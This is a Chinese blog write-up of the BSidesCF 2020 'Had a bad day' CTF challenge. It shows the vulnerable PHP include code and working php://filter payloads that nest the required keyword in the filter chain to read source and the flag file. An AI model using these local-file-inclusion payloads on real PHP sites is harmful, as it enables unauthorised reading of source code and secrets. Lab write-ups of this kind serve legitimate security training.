当前位置:网站首页>[BSidesCF 2020]Had a bad day1
[BSidesCF 2020]Had a bad day1
2022-08-08 06:22:00 【Joker. .】
知识点:伪协议的嵌套

点一下是两张图片,但是这里要注意你点图片时URL会传入变量
![]()
尝试了一下模板注入发现不是,然后直接构造一句话木马发现也不行,但是当你在打开图片在传入的变量后面随便加上一个字母会发现自动加上了php

尝试用伪协议打开一下index.php,但是php不用加因为会自动加

base64解密一下,拿到php代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false ||
strpos( $file, "meowers" ) !== false ||
strpos( $file, "index"))
{
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>可以看到变量中必须包含三个的其中一个,这时候就需要利用伪协议的嵌套了
payload:/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag
或者加到前面
/index.php?category=php://filter/read=index/convert.base64-encode/resource=flag

解码拿到

边栏推荐
- kdeplot()核密度估计图的介绍
- 我的第一篇博客
- Redis集群
- 逻辑回归 判断学生能否被大学录取
- Rust学习:4_基本类型
- convolutional neural network image recognition, convolutional neural network image processing
- How many times the neural network is generally trained, the neural network training time is too long
- C人脸识别
- 学习残差神经网络(ResNet)
- 【熬夜整理近百份大厂面经】2022校招提前批面经总结分享(腾讯、字节、阿里、百度、京东等招聘信息+必考点+简历书写)
猜你喜欢
随机推荐
Runtime - KVC, KVO principle
【RPC】Mercury RPC
don't know what to name
NULL和nullptr的区别
plt.axis(‘tight‘) 的含义
【微信小程序】一文学懂小程序的数据绑定和事件绑定
请问学习MySQL应该安装哪个版本,现在哪个版本使用最多?
ffmpeg获取视频时长和分辨率
代码自动初始化
“忙碌”的 Polkadot最新努力,对DOT投资者意味着什么?
C-默认构造函数什么情况下才真正被合成
减脂书籍~~~
Summary of digital IC design written test questions (4): some basic knowledge points
Threads, control, communications
docker 安装 Redis 并配置持久化
逻辑回归 判断学生能否被大学录取
Integer block sample
Neural network to solve what problem, neural network results is not stable
图像评价方法程序-PSNR
oracle的插入sql错误









